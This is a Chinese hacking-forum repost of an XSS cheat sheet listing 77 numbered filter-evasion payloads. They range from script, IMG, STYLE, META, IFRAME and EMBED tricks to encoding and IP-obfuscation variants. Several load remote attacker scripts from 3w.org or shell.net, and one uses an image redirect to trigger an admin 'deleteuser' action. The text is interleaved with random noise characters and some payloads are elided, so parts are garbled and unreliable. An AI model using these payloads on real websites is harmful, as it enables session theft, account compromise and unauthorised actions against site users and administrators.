貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
3 |7 P% d* u8 s" y/ T6 \6 A(1)普通的XSS JavaScript注入; s T3 U$ z5 e% X% L
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>- C" r: `! x- G- r1 d
(2)IMG标签XSS使用JavaScript命令; L) e: j1 n+ j! S
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
. o' s. C5 k: _$ s g, @$ p(3)IMG标签无分号无引号
" z; }7 l) b3 v" F<IMG SRC=javascript:alert(‘XSS’)>
1 C; k/ e# W( W% t6 ~* e(4)IMG标签大小写不敏感
" d Q* I# y8 Q# R' D2 W1 Q" W<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
# j8 t3 E3 X7 _9 D% P(5)HTML编码(必须有分号)* z/ U# z( |8 a9 ? y* {
<IMG SRC=javascript:alert(“XSS”)>: u+ K6 C2 `! s% @7 Y
(6)修正缺陷IMG标签" b+ \3 }' ]7 D+ V A) B
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>. z4 [8 ~& J3 i2 D9 P
& N# {+ Q5 N! u
% w* V, |/ T; F# B" @1 y. M(7)formCharCode标签(计算器)+ ? b% A; u* s( B" \2 ?+ R9 ?
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8 }7 n: O6 e% l( E6 y/ i+ A
(8)UTF-8的Unicode编码(计算器); P" X0 Y1 t, ~7 }& Y
<IMG SRC=jav..省略..S')>! N, S3 T- v4 D6 f: o% I$ w
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ C1 q. i3 E3 ]1 T9 }& l* ] r5 S/ J- T
<IMG SRC=jav..省略..S')>" @; k3 T+ J: U }% Q2 X0 Z2 i
(10)十六进制编码也是没有分号(计算器)+ E5 f' Q! [- B, y9 i& Y, {
<IMG SRC=java..省略..XSS')>6 s9 N7 K4 J: V G- x1 ~9 ^6 R
(11)嵌入式标签,将Javascript分开3 x: l! O- _% Z1 Y% ~# H: }; @- H
<IMG SRC=”jav ascript:alert(‘XSS’);”>
& X u: l) S, d* e- Z(12)嵌入式编码标签,将Javascript分开
( @+ k+ [: ^7 t8 w6 t* D2 `. g }# E<IMG SRC=”jav ascript:alert(‘XSS’);”>1 D: t2 ~, c' d7 @8 v" @. i
(13)嵌入式换行符( B( E# W& G4 c( d, V! ~
<IMG SRC=”jav ascript:alert(‘XSS’);”># Z/ D/ f0 L, B. V* |( Y
(14)嵌入式回车4 W( W, q$ E4 @0 c0 ?3 h
<IMG SRC=”jav ascript:alert(‘XSS’);”>" O2 O" d5 A9 M, b9 K* k
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
3 o) A5 L' i1 K* L s. G2 M<IMG SRC=”javascript:alert(‘XSS‘)”>5 d5 `) I' W& @/ R/ N6 U, ~+ J/ Y
(16)解决限制字符(要求同页面)
5 P B; }5 f* G1 ]" n' ~<script>z=’document.’</script>
( V2 b! s* v! A K+ c6 ]7 D6 C9 K<script>z=z+’write(“‘</script>0 I- p' x. U0 S, d$ q
<script>z=z+’<script’</script>! K3 P% I! f% v; c4 ^/ R6 Q
<script>z=z+’ src=ht’</script>! ?8 i7 K2 a$ E3 G% r3 O$ Q# u, A
<script>z=z+’tp://ww’</script>4 h3 E2 |- Z2 o
<script>z=z+’w.shell’</script>( X% P8 H! X. H$ N% {
<script>z=z+’.net/1.’</script>4 k4 `( x7 a8 s5 t5 ?
<script>z=z+’js></sc’</script>& o% r. d) z; z" {0 i3 v$ E
<script>z=z+’ript>”)’</script>
6 D5 A- e" ? n- l; U# L% O9 q<script>eval_r(z)</script>
% e, s* I* V- b/ [4 ] P(17)空字符12-7-1 T00LS - Powered by Discuz! Board
( J- H4 r9 U8 R$ D- [https://www.t00ls.net/viewthread ... table&tid=15267 2/6& u9 F8 C. q; b( a
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
) ~8 y+ L& g7 J) I0 W! O(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
& K% Q& x% |/ d2 M. P% N8 i0 x6 b3 Lperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out5 i1 a0 [% E- r* F4 }, o7 U
(19)Spaces和meta前的IMG标签" M5 v! p; A- b4 b% k' t) \
<IMG SRC=” javascript:alert(‘XSS’);”>) s! b. q+ T! {% Y
(20)Non-alpha-non-digit XSS# x+ e' t9 R# U1 U
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>) b9 X$ ^! m! K& l0 a4 |0 b
(21)Non-alpha-non-digit XSS to 2
: g! y* Q. _# p8 l* u<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
4 ] ^7 i( n3 Y: p5 p' V. N(22)Non-alpha-non-digit XSS to 3
& v9 G `) k! h9 Q5 O- p<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT># Q Q* G$ u0 c/ V* `
(23)双开括号0 C1 R5 X. K6 J
<<SCRIPT>alert(“XSS”);//<</SCRIPT> A7 X# q I6 i0 j
(24)无结束脚本标记(仅火狐等浏览器)
* n8 z- d5 N8 S2 z* M4 N7 M# O9 U<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
& n1 \7 h5 h, j9 {0 k, N(25)无结束脚本标记2
/ P2 k `. U9 u1 _<SCRIPT SRC=//3w.org/XSS/xss.js>: o: F4 C D0 |. H. v* }$ g
(26)半开的HTML/JavaScript XSS
6 C* c' Z9 G2 R<IMG SRC=”javascript:alert(‘XSS’)”+ k+ y1 M* `& ]+ V8 h- G/ U4 ^
(27)双开角括号; x0 [! M5 p2 b6 o q
<iframe src=http://3w.org/XSS.html <
+ [$ o( ?6 F7 |& W/ x! k(28)无单引号 双引号 分号8 U0 X' a; K+ [' K
<SCRIPT>a=/XSS/
. n v6 Q1 m% E+ E' ]' B# Ialert(a.source)</SCRIPT>( e/ r+ s9 v% z* k. ^: T
(29)换码过滤的JavaScript
% g: U4 g# p. Q0 i" Y\”;alert(‘XSS’);//
- v" U0 L) \( f P(30)结束Title标签
. B* N8 s$ D' c& W. @! }</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>: J; N% R8 m; h% x) c5 X
(31)Input Image& T9 u' ?2 G- b% N, q7 [
<INPUT SRC=”javascript:alert(‘XSS’);”>1 d, V( U0 |* R0 W6 i
(32)BODY Image3 S, F$ y8 H( i9 E& d6 g
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
" S) L- ~& i9 g* w+ I4 n(33)BODY标签$ ^) Y7 D% {, F1 c: W
<BODY(‘XSS’)>
' h" g9 W3 `' v0 I ](34)IMG Dynsrc
7 _& l7 S! o8 w$ |1 B' M<IMG DYNSRC=”javascript:alert(‘XSS’)”>
0 u- F, t- } X* r" j(35)IMG Lowsrc
6 l6 Q3 S; | e4 H- f; ]) ^& ~1 R( |" u<IMG LOWSRC=”javascript:alert(‘XSS’)”>
) Q6 i o O1 _. B3 O" V. G+ g8 M0 H(36)BGSOUND
3 |' V' y; \1 n* Z<BGSOUND SRC=”javascript:alert(‘XSS’);”>- V2 I/ D! ?' J" [) Y2 N' k
(37)STYLE sheet
+ C9 m/ M8 j! k& f" s9 n4 [% z, V, r/ Q<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
6 U( c1 Q G! p4 l% Q9 S(38)远程样式表; W9 ?4 W/ C0 h3 R
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
, T0 X8 a1 o6 b* T) ^0 P(39)List-style-image(列表式)
7 V- O6 s J/ ?9 M<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS+ p1 B& i3 S Y( }! i# g( l$ _
(40)IMG VBscript
! M+ ^' t2 J( [. g) D<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
5 t$ ~ ^9 v, S% a0 r5 n(41)META链接url2 s+ a. i" l* B8 e, g4 w9 `! e
# a1 Z" c0 p% l9 A8 m& T) @1 `* C! l7 n/ w
<META HTTP-EQUIV=”refresh” CONTENT=”0;$ A# M# k; s( _. [
URL=http://;URL=javascript:alert(‘XSS’);”>$ \! Y6 w0 e* |: {; K v' t6 C
(42)Iframe# ~6 Z& {% o# H4 F/ Y( S
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>) z! j, Y/ X" h
(43)Frame0 ?. Q# A4 I: M# `
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
+ t" Q, f/ R; L% x1 x1 m1 whttps://www.t00ls.net/viewthread ... table&tid=15267 3/6
4 m w4 J$ K+ T/ |6 o(44)Table; M( G5 m9 U) {
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>; g" d; D% i( ^7 I1 z- G
(45)TD
5 u6 C- E" t! ]- u, R<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; D8 S. A0 t; T1 i3 R$ v(46)DIV background-image
) u$ Q) ^4 ~9 E; x/ V/ K<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
& h; z8 t* _3 ^$ a(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
+ a* |9 Y+ t; Z/ G1 q8&13&12288&65279)3 y, A- k& o' ]" \/ H% E
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>3 [ k. s/ \* S3 h+ B
(48)DIV expression
5 b% ]. m5 k& T; q7 S<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
( }, L2 u3 D& l9 ^/ g(49)STYLE属性分拆表达
4 f3 o$ F2 j6 R6 m6 {# g<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
. c H9 A' {5 a+ E- }* }(50)匿名STYLE(组成:开角号和一个字母开头)
?7 u' u9 z) Q<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>* }5 a0 h3 Q- a; B
(51)STYLE background-image. z& ]* r7 Y- s8 ]" L- P' O. J
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
; f9 Q, C1 O4 _, l7 T' T/ f3 X) lCLASS=XSS></A>1 _" f# b& p2 i2 |
(52)IMG STYLE方式2 `" n( A8 [! J3 {7 |2 X
exppression(alert(“XSS”))’>! H: D8 m$ s# F, s4 [# r. A1 t2 |. D
(53)STYLE background
a0 _- I }$ v4 a9 D/ O8 Y6 k<STYLE><STYLE
T, _6 J: `! Ftype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>6 g1 S. t( A& z2 m% v% D% \3 R
(54)BASE
6 Y l- m7 w! [+ ?* r<BASE HREF=”javascript:alert(‘XSS’);//”>
* h5 K# f, f/ p6 l(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
; g+ K' {$ A) C3 ~; r<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
* Z% V" j$ _$ u m. W( s(56)在flash中使用ActionScrpt可以混进你XSS的代码8 w* f% T# Z/ Z5 Z- H% ~! T
a=”get”;
) A) G" b- v$ j, o2 x2 Q/ Xb=”URL(\”";
& k. v' o0 y& i/ n8 Uc=”javascript:”;6 d# N. D9 O) c" {
d=”alert(‘XSS’);\”)”;
9 Z. u4 V2 s# leval_r(a+b+c+d);
6 E* O( ~! G& m/ U- @6 G( C(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
5 b; P, g# U2 C& M6 X<HTML xmlns:xss>
$ l0 m) D- Z2 o8 u( Z6 P, T* W<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>) t- H9 v1 b) h7 E* A2 P5 [4 w0 j. ]! ^
<xss:xss>XSS</xss:xss>
2 g3 h5 O6 O' o/ p. y</HTML> Y) G( z" [. G9 H$ o0 y
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用1 y7 Z( V0 F! w, i" ~9 K6 k! W
<SCRIPT SRC=””></SCRIPT>
4 n& S( |% b6 v) z- v$ X# d(59)IMG嵌入式命令,可执行任意命令7 A2 J _. Y8 n c* `8 j
<IMG SRC=”http://www.XXX.com/a.php?a=b”>+ a8 \9 U& j0 F( t
(60)IMG嵌入式命令(a.jpg在同服务器)$ g0 E0 P2 M7 ]% Z( V' e; S* U
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
4 i4 p! X& e2 M7 l4 L(61)绕符号过滤
5 V1 @/ U0 w5 X1 C/ m5 J<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT># D, f* R/ o2 F/ x7 [* r
(62)9 Z( S9 k7 q0 y6 b8 g7 O) A) T
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
' R4 P3 L; [$ s* U(63)
* d3 O2 K- A' i2 E8 v( k" T/ A<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>! T5 I% n* [: b% T6 v
(64)' q V9 {, u. }' [
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>7 m) c- v4 m* K2 n2 ^
(65)' s5 e4 K$ _+ G1 S Z) t" L, t
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
5 x2 V4 z6 ~( q(66)12-7-1 T00LS - Powered by Discuz! Board) z9 ^& H+ L7 r) ~# t3 t
https://www.t00ls.net/viewthread ... table&tid=15267 4/6; I0 }8 k% m4 o$ m' A" `# M
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT> Y( u% E( d8 n* _/ Z. ^( e
(67)
, C6 r- n' [8 o4 q6 h" A1 y<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>5 U, w3 h8 M, t Z
</SCRIPT>, \# m4 V+ j+ D5 ?; h* |: U* K
(68)URL绕行
" [3 a4 U5 j3 {: p<A HREF=”http://127.0.0.1/”>XSS</A>
$ j3 q; \; y( [; B3 ?9 X9 c(69)URL编码& o% i: j3 l, `: L/ N, |. L
<A HREF=”http://3w.org”>XSS</A>+ i) \( P6 i. U- [% G+ a2 k9 Z
(70)IP十进制
# k; j4 C" y: Z* q9 E, v, O: s<A HREF=”http://3232235521″>XSS</A>9 W. r8 c% I U5 i9 z
(71)IP十六进制 }2 O9 }. I* E' {# N' O1 w$ U8 |
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
% x( F1 B- `3 p7 {7 i(72)IP八进制7 o* n% d4 Y+ }/ V$ d
<A HREF=”http://0300.0250.0000.0001″>XSS</A> Q$ t) Z( o4 f
(73)混合编码0 ^7 t4 Z$ m* H7 ]8 t
<A HREF=”h( q) p1 w: j' i" b/ `
tt p://6 6.000146.0×7.147/”">XSS</A>
7 l; m3 Q; x) q(74)节省[http:]
& ]+ q+ w h' R9 U- f<A HREF=”//www.google.com/”>XSS</A>. a: n/ z+ G" ^
(75)节省[www]' D- e& T {* X6 b, j4 _( t X6 N
<A HREF=”http://google.com/”>XSS</A>9 y' R7 r, _0 S
(76)绝对点绝对DNS# {& z+ I' P0 h% v2 W( d
<A HREF=”http://www.google.com./”>XSS</A>9 z) A1 Q, Z$ w% V- k3 a. [/ _
(77)javascript链接' R7 k1 c; A8 Z( l
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
; A2 w$ B8 D, V6 L
+ @) V5 H5 n B. y7 G {, z2 q原文地址:http://fuzzexp.org/u/0day/?p=14
6 O7 y b1 A9 H4 @
" K0 |% n! d* X |